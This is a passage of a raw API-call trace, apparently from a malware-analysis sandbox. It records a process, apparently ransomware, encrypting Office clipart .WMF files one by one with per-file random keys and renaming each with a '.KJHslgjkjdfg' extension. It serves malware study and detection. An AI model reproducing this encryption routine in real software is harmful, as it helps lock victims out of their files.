pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.679] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.679] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.679] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.679] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.679] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.680] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.680] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.680] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.680] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1bc8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1bc8, lpOverlapped=0x0) returned 1 [0199.681] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bd0, dwBufLen=0x1bd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bd0) returned 1 [0199.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.681] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1bd0, lpOverlapped=0x0) returned 1 [0199.681] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.681] SetEndOfFile (hFile=0x130) returned 1 [0199.684] GetProcessHeap () returned 0x990000 [0199.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.684] GetProcessHeap () returned 0x990000 [0199.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.kjhslgjkjdfg")) returned 1 [0199.685] CloseHandle (hObject=0x130) returned 1 [0199.685] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1 [0199.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.687] GetProcessHeap () returned 0x990000 [0199.687] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.687] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.687] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.689] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.689] GetProcessHeap () returned 0x990000 [0199.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.690] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.690] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.690] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.690] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.690] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.690] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.690] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.690] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.690] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.690] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1348, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1348, lpOverlapped=0x0) returned 1 [0199.691] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1350, dwBufLen=0x1350 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1350) returned 1 [0199.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.692] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1350, lpOverlapped=0x0) returned 1 [0199.692] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.692] SetEndOfFile (hFile=0x130) returned 1 [0199.694] GetProcessHeap () returned 0x990000 [0199.694] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.694] GetProcessHeap () returned 0x990000 [0199.695] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.kjhslgjkjdfg")) returned 1 [0199.696] CloseHandle (hObject=0x130) returned 1 [0199.696] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1 [0199.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.697] GetProcessHeap () returned 0x990000 [0199.697] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.697] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.697] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.697] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.697] GetProcessHeap () returned 0x990000 [0199.697] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.697] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.697] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.697] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.701] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.701] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.701] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.702] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.702] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.702] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.702] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1720, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1720, lpOverlapped=0x0) returned 1 [0199.703] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1720, dwBufLen=0x1720 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1720) returned 1 [0199.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.704] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1720, lpOverlapped=0x0) returned 1 [0199.704] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.704] SetEndOfFile (hFile=0x130) returned 1 [0199.705] GetProcessHeap () returned 0x990000 [0199.705] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.705] GetProcessHeap () returned 0x990000 [0199.705] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.705] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.kjhslgjkjdfg")) returned 1 [0199.707] CloseHandle (hObject=0x130) returned 1 [0199.707] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1 [0199.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.708] GetProcessHeap () returned 0x990000 [0199.708] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.708] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.708] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.710] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.710] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.710] GetProcessHeap () returned 0x990000 [0199.710] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.710] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.710] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.710] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.710] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.711] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.711] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.711] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.711] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.711] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.711] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x154c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x154c, lpOverlapped=0x0) returned 1 [0199.712] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1550, dwBufLen=0x1550 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1550) returned 1 [0199.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.712] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1550, lpOverlapped=0x0) returned 1 [0199.712] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.713] SetEndOfFile (hFile=0x130) returned 1 [0199.715] GetProcessHeap () returned 0x990000 [0199.715] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.715] GetProcessHeap () returned 0x990000 [0199.715] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.kjhslgjkjdfg")) returned 1 [0199.716] CloseHandle (hObject=0x130) returned 1 [0199.716] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1 [0199.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.717] GetProcessHeap () returned 0x990000 [0199.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.717] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.717] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.719] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.719] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.719] GetProcessHeap () returned 0x990000 [0199.719] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.719] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.719] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.719] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.719] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.719] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.719] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.720] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.720] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.720] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, 